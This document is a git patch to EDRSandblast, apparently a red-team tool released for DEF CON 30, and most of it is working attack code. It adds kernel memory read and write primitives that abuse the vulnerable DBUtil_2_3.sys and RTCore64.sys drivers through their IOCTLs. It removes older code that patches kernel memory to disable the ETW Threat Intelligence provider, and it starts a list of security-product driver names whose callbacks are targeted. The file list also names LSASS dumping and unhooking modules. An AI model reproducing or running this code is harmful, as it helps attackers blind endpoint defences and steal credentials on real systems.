From 48a75a70295f950623f6efdf1785d84082d4c10f Mon Sep 17 00:00:00 2001 From: Qazeer Date: Sat, 13 Aug 2022 09:23:48 -0700 Subject: [PATCH] D3FC0N 30 release: Obj callbacks, firewalling, symbols w/ internet, and more Co-authored-by: Maxime Meignan --- .gitignore | 4 + EDRSandblast.sln | 43 +- EDRSandblast/Drivers/DriverDBUtil.c | 118 ++ EDRSandblast/Drivers/DriverRTCore.c | 168 ++ EDRSandblast/EDRBypass/ETWThreatIntel.c | 89 - EDRSandblast/EDRBypass/KernelCallbacks.c | 1856 ----------------- EDRSandblast/EDRSandBlast.h | 21 +- EDRSandblast/EDRSandblast.c | 549 ----- EDRSandblast/EDRSandblast.vcxproj | 101 +- EDRSandblast/EDRSandblast.vcxproj.filters | 160 +- EDRSandblast/Includes/DriverDBUtil.h | 8 + EDRSandblast/Includes/DriverOps.h | 9 +- EDRSandblast/Includes/DriverRTCore.h | 8 + EDRSandblast/Includes/FileUtils.h | 13 + EDRSandblast/Includes/FileVersion.h | 6 +- EDRSandblast/Includes/FirewallOps.h | 30 + EDRSandblast/Includes/Firewalling.h | 37 + EDRSandblast/Includes/HttpClient.h | 2 + EDRSandblast/Includes/IsEDRChecks.h | 24 + EDRSandblast/Includes/IsElevatedProcess.h | 8 + EDRSandblast/Includes/KernelCallbacks.h | 29 +- .../Includes/KernelMemoryPrimitives.h | 84 +- EDRSandblast/Includes/KernelUtils.h | 7 + EDRSandblast/Includes/LSASSDump.h | 12 - EDRSandblast/Includes/ListUtils.h | 7 + EDRSandblast/Includes/NtoskrnlOffsets.h | 47 +- EDRSandblast/Includes/ObjectCallbacks.h | 30 + EDRSandblast/Includes/PEParser.h | 16 +- EDRSandblast/Includes/PdbSymbols.h | 12 + EDRSandblast/Includes/ProcessDump.h | 16 + .../Includes/ProcessDumpDirectSyscalls.h | 29 + EDRSandblast/Includes/RemotePEBBrowser.h | 34 + EDRSandblast/Includes/RunAsPPL.h | 8 +- EDRSandblast/Includes/SW2_Syscalls.h | 121 ++ EDRSandblast/Includes/SignatureOps.h | 29 + EDRSandblast/Includes/StringUtils.h | 12 + EDRSandblast/Includes/SyscallProcessUtils.h | 16 + EDRSandblast/Includes/Syscalls.h | 4 + EDRSandblast/Includes/Undoc.h | 126 +- EDRSandblast/Includes/Undoc_64.h | 7 +- EDRSandblast/Includes/UserlandHooks.h | 73 +- EDRSandblast/Includes/WdigestOffsets.h | 12 +- EDRSandblast/Includes/WindowsServiceOps.h | 22 + .../KernellandBypass/ETWThreatIntel.c | 66 + .../KernellandBypass/KernelCallbacks.c | 140 ++ EDRSandblast/KernellandBypass/KernelUtils.c | 108 + .../KernellandBypass/ObjectCallbacks.c | 467 +++++ .../LSASSProtectionBypass/CredGuard.c | 59 +- EDRSandblast/LSASSProtectionBypass/RunAsPPL.c | 37 +- EDRSandblast/Userland/UserlandHooks.c | 685 ------ EDRSandblast/UserlandBypass/Firewalling.c | 451 ++++ .../ProcessDumpDirectSyscalls.c | 503 +++++ EDRSandblast/UserlandBypass/Syscalls.c | 204 ++ EDRSandblast/UserlandBypass/UserlandHooks.c | 623 ++++++ EDRSandblast/Utils/DriverOps.c | 268 +-- EDRSandblast/Utils/FileUtils.c | 52 + EDRSandblast/Utils/FileVersion.c | 37 +- EDRSandblast/Utils/FirewallOps.cpp | 222 ++ EDRSandblast/Utils/HttpClient.c | 121 ++ EDRSandblast/Utils/IsEDRChecks.c | 1773 ++++++++++++++++ EDRSandblast/Utils/IsElevatedProcess.c | 20 + EDRSandblast/Utils/KernelMemoryPrimitives.c | 215 +- EDRSandblast/Utils/KernelPatternSearch.c | 61 +- EDRSandblast/Utils/LSASSDump.c | 95 - EDRSandblast/Utils/ListUtils.c | 15 + EDRSandblast/Utils/NtoskrnlOffsets.c | 121 +- EDRSandblast/{Userland => Utils}/PEBBrowse.c | 3 +- EDRSandblast/{Userland => Utils}/PEParser.c | 58 +- EDRSandblast/Utils/PdbSymbols.c | 171 ++ EDRSandblast/Utils/ProcessDump.c | 102 + EDRSandblast/Utils/RemotePEBBrowser.c | 211 ++ EDRSandblast/Utils/SW2_Syscalls.c | 106 + EDRSandblast/Utils/SW2_Syscalls_stubs.x64.asm | 71 + EDRSandblast/Utils/SignatureOps.c | 204 ++ EDRSandblast/Utils/StringUtils.c | 71 + EDRSandblast/Utils/SyscallProcessUtils.c | 120 ++ EDRSandblast/Utils/WdigestOffsets.c | 84 +- EDRSandblast/Utils/WindowsServiceOps.c | 165 ++ EDRSandblast_CLI/EDRSandblast.c | 742 +++++++ EDRSandblast_CLI/EDRSandblast_CLI.vcxproj | 150 ++ .../EDRSandblast_CLI.vcxproj.filters | 22 + .../EDRSandblast_LsassDump.c | 31 + .../EDRSandblast_LsassDump.vcxproj | 141 ++ .../EDRSandblast_LsassDump.vcxproj.filters | 22 + EDRSandblast_StaticLibrary/EDRSandblast_API.c | 762 +++++++ EDRSandblast_StaticLibrary/EDRSandblast_API.h | 168 ++ .../EDRSandblast_StaticLibrary.vcxproj | 152 ++ ...EDRSandblast_StaticLibrary.vcxproj.filters | 27 + Offsets/ExtractOffsets.py | 9 +- Offsets/NtoskrnlOffsets.csv | 960 +++++---- README.md | 15 +- 91 files changed, 10503 insertions(+), 4414 deletions(-) create mode 100644 EDRSandblast/Drivers/DriverDBUtil.c create mode 100644 EDRSandblast/Drivers/DriverRTCore.c delete mode 100644 EDRSandblast/EDRBypass/ETWThreatIntel.c delete mode 100644 EDRSandblast/EDRBypass/KernelCallbacks.c delete mode 100644 EDRSandblast/EDRSandblast.c create mode 100644 EDRSandblast/Includes/DriverDBUtil.h create mode 100644 EDRSandblast/Includes/DriverRTCore.h create mode 100644 EDRSandblast/Includes/FileUtils.h create mode 100644 EDRSandblast/Includes/FirewallOps.h create mode 100644 EDRSandblast/Includes/Firewalling.h create mode 100644 EDRSandblast/Includes/HttpClient.h create mode 100644 EDRSandblast/Includes/IsEDRChecks.h create mode 100644 EDRSandblast/Includes/IsElevatedProcess.h create mode 100644 EDRSandblast/Includes/KernelUtils.h delete mode 100644 EDRSandblast/Includes/LSASSDump.h create mode 100644 EDRSandblast/Includes/ListUtils.h create mode 100644 EDRSandblast/Includes/ObjectCallbacks.h create mode 100644 EDRSandblast/Includes/PdbSymbols.h create mode 100644 EDRSandblast/Includes/ProcessDump.h create mode 100644 EDRSandblast/Includes/ProcessDumpDirectSyscalls.h create mode 100644 EDRSandblast/Includes/RemotePEBBrowser.h create mode 100644 EDRSandblast/Includes/SW2_Syscalls.h create mode 100644 EDRSandblast/Includes/SignatureOps.h create mode 100644 EDRSandblast/Includes/StringUtils.h create mode 100644 EDRSandblast/Includes/SyscallProcessUtils.h create mode 100644 EDRSandblast/Includes/Syscalls.h create mode 100644 EDRSandblast/Includes/WindowsServiceOps.h create mode 100644 EDRSandblast/KernellandBypass/ETWThreatIntel.c create mode 100644 EDRSandblast/KernellandBypass/KernelCallbacks.c create mode 100644 EDRSandblast/KernellandBypass/KernelUtils.c create mode 100644 EDRSandblast/KernellandBypass/ObjectCallbacks.c delete mode 100644 EDRSandblast/Userland/UserlandHooks.c create mode 100644 EDRSandblast/UserlandBypass/Firewalling.c create mode 100644 EDRSandblast/UserlandBypass/ProcessDumpDirectSyscalls.c create mode 100644 EDRSandblast/UserlandBypass/Syscalls.c create mode 100644 EDRSandblast/UserlandBypass/UserlandHooks.c create mode 100644 EDRSandblast/Utils/FileUtils.c create mode 100644 EDRSandblast/Utils/FirewallOps.cpp create mode 100644 EDRSandblast/Utils/HttpClient.c create mode 100644 EDRSandblast/Utils/IsEDRChecks.c create mode 100644 EDRSandblast/Utils/IsElevatedProcess.c delete mode 100644 EDRSandblast/Utils/LSASSDump.c create mode 100644 EDRSandblast/Utils/ListUtils.c rename EDRSandblast/{Userland => Utils}/PEBBrowse.c (95%) rename EDRSandblast/{Userland => Utils}/PEParser.c (87%) create mode 100644 EDRSandblast/Utils/PdbSymbols.c create mode 100644 EDRSandblast/Utils/ProcessDump.c create mode 100644 EDRSandblast/Utils/RemotePEBBrowser.c create mode 100644 EDRSandblast/Utils/SW2_Syscalls.c create mode 100644 EDRSandblast/Utils/SW2_Syscalls_stubs.x64.asm create mode 100644 EDRSandblast/Utils/SignatureOps.c create mode 100644 EDRSandblast/Utils/StringUtils.c create mode 100644 EDRSandblast/Utils/SyscallProcessUtils.c create mode 100644 EDRSandblast/Utils/WindowsServiceOps.c create mode 100644 EDRSandblast_CLI/EDRSandblast.c create mode 100644 EDRSandblast_CLI/EDRSandblast_CLI.vcxproj create mode 100644 EDRSandblast_CLI/EDRSandblast_CLI.vcxproj.filters create mode 100644 EDRSandblast_LsassDump/EDRSandblast_LsassDump.c create mode 100644 EDRSandblast_LsassDump/EDRSandblast_LsassDump.vcxproj create mode 100644 EDRSandblast_LsassDump/EDRSandblast_LsassDump.vcxproj.filters create mode 100644 EDRSandblast_StaticLibrary/EDRSandblast_API.c create mode 100644 EDRSandblast_StaticLibrary/EDRSandblast_API.h create mode 100644 EDRSandblast_StaticLibrary/EDRSandblast_StaticLibrary.vcxproj create mode 100644 EDRSandblast_StaticLibrary/EDRSandblast_StaticLibrary.vcxproj.filters diff --git a/.gitignore b/.gitignore index d438f72..760db2c 100644 --- a/.gitignore +++ b/.gitignore @@ -354,3 +354,7 @@ Offsets/*.exe Offsets/*.dll /Offsets/nt /Offsets/wd + +# Exclude drivers and lsass dumps +*.sys +lsass \ No newline at end of file diff --git a/EDRSandblast.sln b/EDRSandblast.sln index b30a319..eef49ae 100644 --- a/EDRSandblast.sln +++ b/EDRSandblast.sln @@ -1,9 +1,22 @@  Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Version 16 -VisualStudioVersion = 16.0.31129.286 +# Visual Studio Version 17 +VisualStudioVersion = 17.2.32616.157 MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EDRSandblast", "EDRSandblast\EDRSandblast.vcxproj", "{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}" +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EDRSandblast_Core", "EDRSandblast\EDRSandblast.vcxproj", "{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EDRSandblast_StaticLibrary", "EDRSandblast_StaticLibrary\EDRSandblast_StaticLibrary.vcxproj", "{3A2FCB56-01A3-41B3-BDAA-B25F45784B23}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EDRSandblast_LsassDump", "EDRSandblast_LsassDump\EDRSandblast_LsassDump.vcxproj", "{04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}" + ProjectSection(ProjectDependencies) = postProject + {3A2FCB56-01A3-41B3-BDAA-B25F45784B23} = {3A2FCB56-01A3-41B3-BDAA-B25F45784B23} + {7E3E2ECE-D1EB-43C6-8C83-B52B7571954B} = {7E3E2ECE-D1EB-43C6-8C83-B52B7571954B} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EDRSandblast_CLI", "EDRSandblast_CLI\EDRSandblast_CLI.vcxproj", "{FFA0FDDE-BE70-49E4-97DE-753304EF1113}" + ProjectSection(ProjectDependencies) = postProject + {7E3E2ECE-D1EB-43C6-8C83-B52B7571954B} = {7E3E2ECE-D1EB-43C6-8C83-B52B7571954B} + EndProjectSection EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution @@ -21,6 +34,30 @@ Global {7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x64.Build.0 = Release|x64 {7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x86.ActiveCfg = Release|Win32 {7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x86.Build.0 = Release|Win32 + {3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Debug|x64.ActiveCfg = Debug|x64 + {3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Debug|x64.Build.0 = Debug|x64 + {3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Debug|x86.ActiveCfg = Debug|Win32 + {3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Debug|x86.Build.0 = Debug|Win32 + {3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Release|x64.ActiveCfg = Release|x64 + {3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Release|x64.Build.0 = Release|x64 + {3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Release|x86.ActiveCfg = Release|Win32 + {3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Release|x86.Build.0 = Release|Win32 + {04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Debug|x64.ActiveCfg = Debug|x64 + {04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Debug|x64.Build.0 = Debug|x64 + {04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Debug|x86.ActiveCfg = Debug|Win32 + {04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Debug|x86.Build.0 = Debug|Win32 + {04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Release|x64.ActiveCfg = Release|x64 + {04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Release|x64.Build.0 = Release|x64 + {04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Release|x86.ActiveCfg = Release|Win32 + {04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Release|x86.Build.0 = Release|Win32 + {FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Debug|x64.ActiveCfg = Debug|x64 + {FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Debug|x64.Build.0 = Debug|x64 + {FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Debug|x86.ActiveCfg = Debug|Win32 + {FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Debug|x86.Build.0 = Debug|Win32 + {FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Release|x64.ActiveCfg = Release|x64 + {FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Release|x64.Build.0 = Release|x64 + {FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Release|x86.ActiveCfg = Release|Win32 + {FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/EDRSandblast/Drivers/DriverDBUtil.c b/EDRSandblast/Drivers/DriverDBUtil.c new file mode 100644 index 0000000..333e066 --- /dev/null +++ b/EDRSandblast/Drivers/DriverDBUtil.c @@ -0,0 +1,118 @@ +#include +#include +#include + +#include "../EDRSandblast.h" + +/* +* "DBUtil_2_3.sys" (SHA256: 0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5) +*/ + +struct DBUTIL23_MEMORY_READ { + DWORD64 field0; + DWORD64 Address; + DWORD Offset; + DWORD field14; + BYTE Buffer[1]; +}; + +struct DBUTIL23_MEMORY_WRITE { + DWORD64 field0; + DWORD64 Address; + DWORD Offset; + DWORD field14; + BYTE Buffer[1]; +}; + +static const DWORD DBUTIL23_MEMORY_READ_CODE = 0x9B0C1EC4; +static const DWORD DBUTIL23_MEMORY_WRITE_CODE = 0x9B0C1EC8; + +static_assert(offsetof(struct DBUTIL23_MEMORY_READ, Buffer) == 0x18, "sizeof DBUTIL23_MEMORY_READ must be 0x18 bytes"); +static_assert(offsetof(struct DBUTIL23_MEMORY_WRITE, Buffer) == 0x18, "sizeof DBUTIL23_MEMORY_WRITE must be 0x18 bytes"); + +HANDLE g_Device_DBUtil = INVALID_HANDLE_VALUE; +HANDLE GetDriverHandle_DBUtil() { + if (g_Device_DBUtil == INVALID_HANDLE_VALUE) { + TCHAR service[] = TEXT("\\\\.\\DBUtil_2_3"); + HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + + if (Device == INVALID_HANDLE_VALUE) { + _tprintf_or_not(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n")); + exit(EXIT_FAILURE); + } + g_Device_DBUtil = Device; + } + + return g_Device_DBUtil; +} + +VOID CloseDriverHandle_DBUtil() { + CloseHandle(g_Device_DBUtil); + g_Device_DBUtil = INVALID_HANDLE_VALUE; +} + + + +VOID ReadMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer) { + struct DBUTIL23_MEMORY_READ* ReadCommand = calloc(1, Size + sizeof(struct DBUTIL23_MEMORY_READ)); + if (!ReadCommand) { + _putts_or_not(TEXT("Allocation failed, aborting...\n")); + exit(1); + } + ReadCommand->Address = Address; + ReadCommand->Offset = 0; + + DWORD BytesReturned; + + if (Address < 0x0000800000000000) { + _tprintf_or_not(TEXT("Userland address used: 0x%016llx\nThis should not happen, aborting...\n"), Address); + exit(1); + } + if (Address < 0xFFFF800000000000) { + _tprintf_or_not(TEXT("Non canonical address used: 0x%016llx\nAborting to avoid a BSOD...\n"), Address); + exit(1); + } + + DeviceIoControl(GetDriverHandle_DBUtil(), + DBUTIL23_MEMORY_READ_CODE, + ReadCommand, + offsetof(struct DBUTIL23_MEMORY_READ, Buffer) + (DWORD)Size, + ReadCommand, + offsetof(struct DBUTIL23_MEMORY_READ, Buffer) + (DWORD)Size, + &BytesReturned, + NULL); + memcpy(Buffer, ReadCommand->Buffer, Size); +} + + +VOID WriteMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer) { + struct DBUTIL23_MEMORY_WRITE* WriteCommand = calloc(1, Size + sizeof(struct DBUTIL23_MEMORY_WRITE)); + if (!WriteCommand) { + _putts_or_not(TEXT("Allocation failed, aborting...\n")); + exit(1); + } + WriteCommand->Address = Address; + WriteCommand->Offset = 0; + + DWORD BytesReturned; + + if (Address < 0x0000800000000000) { + _tprintf_or_not(TEXT("Userland address used: 0x%016llx\nThis should not happen, aborting...\n"), Address); + exit(1); + } + if (Address < 0xFFFF800000000000) { + _tprintf_or_not(TEXT("Non canonical address used: 0x%016llx\nAborting to avoid a BSOD...\n"), Address); + exit(1); + } + + memcpy(WriteCommand->Buffer, Buffer, Size); + DeviceIoControl(GetDriverHandle_DBUtil(), + DBUTIL23_MEMORY_WRITE_CODE, + WriteCommand, + offsetof(struct DBUTIL23_MEMORY_WRITE, Buffer) + (DWORD)Size, + WriteCommand, + offsetof(struct DBUTIL23_MEMORY_WRITE, Buffer) + (DWORD)Size, + &BytesReturned, + NULL); +} + diff --git a/EDRSandblast/Drivers/DriverRTCore.c b/EDRSandblast/Drivers/DriverRTCore.c new file mode 100644 index 0000000..5fb0f80 --- /dev/null +++ b/EDRSandblast/Drivers/DriverRTCore.c @@ -0,0 +1,168 @@ +#include +#include +#include + +#if NO_STRINGS +#define _putts_or_not(...) +#define _tprintf_or_not(...) +#define wprintf_or_not(...) +#define printf_or_not(...) +#pragma warning(disable : 4189) + +#else +#define _putts_or_not(...) _putts(__VA_ARGS__) +#define _tprintf_or_not(...) _tprintf(__VA_ARGS__) +#define printf_or_not(...) printf(__VA_ARGS__) +#define wprintf_or_not(...) wprintf(__VA_ARGS__) +#endif + +/* +* "RTCore64.sys" (SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD) +*/ + +struct RTCORE64_MEMORY_READ { + BYTE Pad0[8]; + DWORD64 Address; + DWORD Pad1; + DWORD Offset; + DWORD ReadSize; + DWORD Value; + BYTE Pad3[16]; +}; + +struct RTCORE64_MEMORY_WRITE { + BYTE Pad0[8]; + DWORD64 Address; + DWORD Pad1; + DWORD Offset; + DWORD WriteSize; + DWORD Value; + BYTE Pad3[16]; +}; + +static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048; +static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c; + +static_assert(sizeof(struct RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes"); +static_assert(sizeof(struct RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes"); + +HANDLE g_Device_RTCore = INVALID_HANDLE_VALUE; +HANDLE GetDriverHandle_RTCore() { + if (g_Device_RTCore == INVALID_HANDLE_VALUE) { + TCHAR service[] = TEXT("\\\\.\\RTCore64"); + HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + + if (Device == INVALID_HANDLE_VALUE) { + _tprintf_or_not(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n")); + exit(EXIT_FAILURE); + } + g_Device_RTCore = Device; + } + + return g_Device_RTCore; +} + +VOID CloseDriverHandle_RTCore() { + CloseHandle(g_Device_RTCore); + g_Device_RTCore = INVALID_HANDLE_VALUE; +} + + + +VOID ReadMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) { + while (Size) { + struct RTCORE64_MEMORY_READ ReadCommand = { 0 }; + ReadCommand.Address = Address; + if (Size >= 4) { + ReadCommand.ReadSize = 4; + } + else if (Size >= 2) { + ReadCommand.ReadSize = 2; + } + else { + ReadCommand.ReadSize = 1; + } + ReadCommand.Offset = 0; + + DWORD BytesReturned; + + if (Address < 0x0000800000000000) { + _tprintf_or_not(TEXT("Userland address used: 0x%016llx\nThis should not happen, aborting...\n"), Address); + exit(1); + } + if (Address < 0xFFFF800000000000) { + _tprintf_or_not(TEXT("Non canonical address used: 0x%016llx\nAborting to avoid a BSOD...\n"), Address); + exit(1); + } + + DeviceIoControl(GetDriverHandle_RTCore(), + RTCORE64_MEMORY_READ_CODE, + &ReadCommand, + sizeof(ReadCommand), + &ReadCommand, + sizeof(ReadCommand), + &BytesReturned, + NULL); + + Address += ReadCommand.ReadSize; + if (Size >= 4) { + *(PDWORD)Buffer = (DWORD)ReadCommand.Value; + } + else if (Size >= 2) { + *(PWORD)Buffer = (WORD)ReadCommand.Value; + } + else { + *(PBYTE)Buffer = (BYTE)ReadCommand.Value; + } + Size -= ReadCommand.ReadSize; + Buffer = (PVOID)(((DWORD64)Buffer) + ReadCommand.ReadSize); + } +} + +/* +* RTCore driver allows to write 1, 2 or 4 bytes at a type +*/ +VOID WriteMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) { + while (Size) { + struct RTCORE64_MEMORY_WRITE WriteCommand = { 0 }; + WriteCommand.Address = Address; + if (Size >= 4) { + WriteCommand.WriteSize = 4; + WriteCommand.Value = *(PDWORD)Buffer; + } + else if (Size >= 2) { + WriteCommand.WriteSize = 2; + WriteCommand.Value = *(PWORD)Buffer; + } + else { + WriteCommand.WriteSize = 1; + WriteCommand.Value = *(PBYTE)Buffer; + } + WriteCommand.Offset = 0; + + DWORD BytesReturned; + + if (Address < 0x0000800000000000) { + _tprintf_or_not(TEXT("Userland address used: 0x%016llx\nThis should not happen, aborting...\n"), Address); + exit(1); + } + if (Address < 0xFFFF800000000000) { + _tprintf_or_not(TEXT("Non canonical address used: 0x%016llx\nAborting to avoid a BSOD...\n"), Address); + exit(1); + } + + DeviceIoControl(GetDriverHandle_RTCore (), + RTCORE64_MEMORY_WRITE_CODE, + &WriteCommand, + sizeof(WriteCommand), + &WriteCommand, + sizeof(WriteCommand), + &BytesReturned, + NULL); + + Address += WriteCommand.WriteSize; + Size -= WriteCommand.WriteSize; + Buffer = (PVOID)(((DWORD64)Buffer) + WriteCommand.WriteSize); + } +} + diff --git a/EDRSandblast/EDRBypass/ETWThreatIntel.c b/EDRSandblast/EDRBypass/ETWThreatIntel.c deleted file mode 100644 index 48eec3c..0000000 --- a/EDRSandblast/EDRBypass/ETWThreatIntel.c +++ /dev/null @@ -1,89 +0,0 @@ -/* - ---- ETW Threat Intelligence operations. ---- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider - -*/ - -#include -#include - -#include "ETWThreatIntel.h" -#include "KernelMemoryPrimitives.h" -#include "NtoskrnlOffsets.h" - -DWORD64 GetEtwThreatIntProvRegHandleAddress() { - if (ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0) { - return 0x0; - } - - DWORD64 Ntoskrnlbaseaddress = FindNtoskrnlBaseAddress(); - return Ntoskrnlbaseaddress + ntoskrnlOffsets.st.etwThreatIntProvRegHandle; -} - -DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose) { - if (ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0 || ntoskrnlOffsets.st.etwRegEntry_GuidEntry == 0x0 || ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo == 0x0) { - _tprintf(TEXT("[!] ETW Threat Intel ProviderEnableInfo address could not be found. This version of ntoskrnl may not implement ETW Threat Intel.\n")); - return 0x0; - } - - HANDLE Device = GetDriverHandle(); - DWORD64 etwThreatIntProvRegHandleAddress = GetEtwThreatIntProvRegHandleAddress(); - - DWORD64 etwThreatInt_ETW_REG_ENTRYAddress = ReadMemoryDWORD64(Device, etwThreatIntProvRegHandleAddress); - if (verbose) { - _tprintf(TEXT("[+] Found ETW Threat Intel provider _ETW_REG_ENTRY at 0x%I64x\n"), etwThreatInt_ETW_REG_ENTRYAddress); - } - DWORD64 etwThreatInt_ETW_GUID_ENTRYAddress = ReadMemoryDWORD64(Device, etwThreatInt_ETW_REG_ENTRYAddress + ntoskrnlOffsets.st.etwRegEntry_GuidEntry); - - CloseHandle(Device); - - return etwThreatInt_ETW_GUID_ENTRYAddress + ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo; -} - -void EnableDisableETWThreatIntelProvider(BOOL verbose, BOOL enable) { - DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose); - if (etwThreatInt_ProviderEnableInfoAddress == 0x0) { - return; - } - - _tprintf(TEXT("[*] Attempting to %s the ETW Threat Intel provider by patching ProviderEnableInfo at 0x%I64x with 0x%02X.\n"), - enable ? TEXT("(re)enable") : TEXT("disable"), etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER); - HANDLE Device = GetDriverHandle(); - WriteMemoryBYTE(Device, etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER); - - BOOL finalState = isETWThreatIntelProviderEnabled(verbose); - if (finalState == enable) { - _tprintf(TEXT("[+] The ETW Threat Intel provider was successfully %s!\n"), enable ? TEXT("enabled") : TEXT("disabled")); - } - else { - _tprintf(TEXT("[!] Failed to %s the ETW Threat Intel provider!\n"), enable ? TEXT("enable") : TEXT("disable")); - } - - CloseHandle(Device); -} - - -void DisableETWThreatIntelProvider(BOOL verbose) { - EnableDisableETWThreatIntelProvider(verbose, FALSE); -} - - -void EnableETWThreatIntelProvider(BOOL verbose) { - EnableDisableETWThreatIntelProvider(verbose, TRUE); -} - - -BOOL isETWThreatIntelProviderEnabled(BOOL verbose) { - DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose); - - if (etwThreatInt_ProviderEnableInfoAddress == 0x0) { - return FALSE; - } - - HANDLE Device = GetDriverHandle(); - BYTE etwThreatInt_ProviderEnableInfoValue = ReadMemoryBYTE(Device, etwThreatInt_ProviderEnableInfoAddress); - CloseHandle(Device); - - return etwThreatInt_ProviderEnableInfoValue == ENABLE_PROVIDER; -} \ No newline at end of file diff --git a/EDRSandblast/EDRBypass/KernelCallbacks.c b/EDRSandblast/EDRBypass/KernelCallbacks.c deleted file mode 100644 index a96a738..0000000 --- a/EDRSandblast/EDRBypass/KernelCallbacks.c +++ /dev/null @@ -1,1856 +0,0 @@ -/* - ---- Kernel callbacks operations. ---- Inspiration and credit: https://github.com/br-sn/CheekyBlinder - -*/ - -#include -#include -#include "KernelCallbacks.h" -#include "KernelMemoryPrimitives.h" -#include "NtoskrnlOffsets.h" - -// List of EDR drivers for which Kernel callbacks will be impacted. -// Source: https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/allocated-altitudes -// Includes all FSFilter Anti-Virus and Activity Monitor drivers. -// and : https://github.com/SadProcessor/SomeStuff/blob/master/Invoke-EDRCheck.ps1 -TCHAR const* EDR_DRIVERS[] = { - /* - * FSFilter Anti-Virus - BEGIN - */ - // 360 Software (Beijing) - _T("360qpesv.sys"), - // 5nine Software Inc. - _T("5nine.cbt.sys"), - // Ahkun Co. - _T("AhkSvPro.sys"), - _T("AhkUsbFW.sys"), - _T("AhkAMFlt.sys"), - // Ahnlab - _T("V3MifiNt.sys"), - _T("V3Ift2k.sys"), - _T("V3IftmNt.sys"), - _T("ArfMonNt.sys"), - _T("AhnRghLh.sys"), - _T("AszFltNt.sys"), - _T("OMFltLh.sys"), - _T("V3Flu2k.sys"), - _T("AdcVcsNT.sys"), - // AhnLab Inc. - _T("TfFregNt.sys"), - // AhnLab, Inc. - _T("SMDrvNt.sys"), - _T("ATamptNt.sys"), - _T("V3Flt2k.sys"), - // Alwil - _T("aswmonflt.sys"), - // Anvisoft - _T("avfsmn.sys"), - // Arcdo - _T("ANVfsm.sys"), - _T("CDrRSFlt.sys"), - // Ashampoo GmbH & Co. KG - _T("AshAvScan.sys"), - // Australian Projects - _T("ZxFsFilt.sys"), - // Authentium - _T("avmf.sys"), - // AVG Grisoft - _T("avgmfx86.sys"), - _T("avgmfx64.sys"), - _T("avgmfi64.sys"), - _T("avgmfrs.sys"), - // Avira GmbH - _T("avgntflt.sys"), - 